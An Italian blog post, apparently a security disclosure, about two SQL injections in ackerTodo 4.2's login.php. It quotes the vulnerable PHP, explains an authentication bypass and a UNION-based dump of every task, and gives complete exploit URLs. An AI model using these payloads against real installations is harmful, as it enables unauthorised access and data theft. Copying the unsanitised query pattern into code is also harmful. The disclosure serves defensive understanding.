ackerTodo 4.2 SQL Injection

L'ultima versione del bellissimo programma ackerTodo è affetto da una vulnerabilità che permette a chiunque di visualizzare i tasks presenti nel database.

Preface:

ackerTodo is a light-weight web based todo list manager written by Rob Hensley that supports multiple users, groups, categories, super categories, recurring tasks (Daily, Weekly, Monthly, Yearly, Open-Ended), modules, a CLI interface, email notification, file upload capabilites, and many more features. It is also available in 16 different languages.

Il problema era localizato nel file gadget/login.php alle righe:

PHP:
  1. $user_login = trim($_REQUEST['up_login']);
  2. $user_pass = trim($_REQUEST['up_pass']);
  3. $num_tasks = trim($_REQUEST['up_num_tasks']);

Utilizzate poi più sotto:

PHP:
  1. $result = db_query("SELECT * FROM ".$table_prefix."users "
  2. ."WHERE login='$user_login' "
  3. ."AND password=md5('$user_pass')");

E ancora più sotto:

PHP:
  1. $sql = $sql . ' LIMIT ' . $num_tasks;

Se il webserver esegue php con il parametro magic_quotes_gpc disabilitato, possiamo eseguire ben due diverse SQL-Injection.

La prima per loggarci nel sistema senza conoscere la password, e la seconda per ricevere la lista completa di tutti i tasks registrati nel database.

Supponiamo che la nostra username sia 'admin' e la nostra pass wrongpass'.

La query eseguita sarà la seguente:

SQL:
  1. SELECT * FROM users WHERE login='admin' AND password=md5('wrongpass')

Dopo l'esecuzione della query il programma esegue il seguente controllo:

PHP:
  1. if(!$result || mysql_num_rows($result) != 1) {
  2. echo "Login Failure!";
  3. }

Per poter quindi validare il controllo abbiamo bisogno che la query sia valida e che le riga ritornata dal database sia solo una.

Se la nostra query precedente diventasse:

SQL:
  1. SELECT * FROM users WHERE login='admin'
  2. AND password=md5('wrongpass') OR ( '1' = '1' AND login='admin')

Riusciremmo ad ottenere esattamente quello che vogliamo, una riga sola, anche se la password inserita risultasse errata.

Questo può accadere perchè non esite nessun tipo di controllo sulla variabile $_REQUEST['up_pass'] e, a piacimento potrebbe diventare proprio

SQL:
  1. wrongpass') or ('1'='1' AND login='admin

Riassumendo, il primo exploit può essere eseguito semplicemnte puntando il proprio browser verso l'host "vittima" http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass')%20or%20(%20'1'%20=
%20'1'%20AND%20login='admin&up_num_tasks=100

La seconda SQL-Injection farà in modo di estrarre tutti i tasks presenti nel database sfruttando la possibilità di alterare la variabile $_REQUEST['up_num_tasks']

La query che si occupa di estrarre tutti i relativi task dell'utente che si è appena loggato è questa:

SQL:
  1. SELECT * FROM tasks WHERE login='admin' LIMIT 100

La variabile $_REQUEST['up_num_tasks'] determina quante righe vadano estratte.

Se la variabile venisse modificata in '100 UNION SELECT * FROM tasks' otterremmo la query finale:

SQL:
  1. SELECT * FROM tasks WHERE login='admin' LIMIT 100 UNION SELECT * FROM tasks

Ricevendo tutti i task presenti nel dabase (in questo caso solo 100, se ne volessimo di più basterebbe incrementare il LIMIT)

Per eseguire i due exploit basterà utilizzare il seguente url:

http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND
%20login='admin&up_num_tasks=100%20UNION%20select%20*
%20FROM%20tasks

L'autore è stato informato della vulnerabilità a ha aggiunto una patch di sicurezza per la prossima release.
La vulnerabilità è diventata pubblica oggi e chi fosse iscritto alla ML di securityfocus avrà visto passare la mia mail

RSS feed | Trackback URI

Comments »

No comments yet.

Name (required)
E-mail (required - never shown publicly)
URI
Your Comment (smaller size | larger size)
You may use <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> in your comment.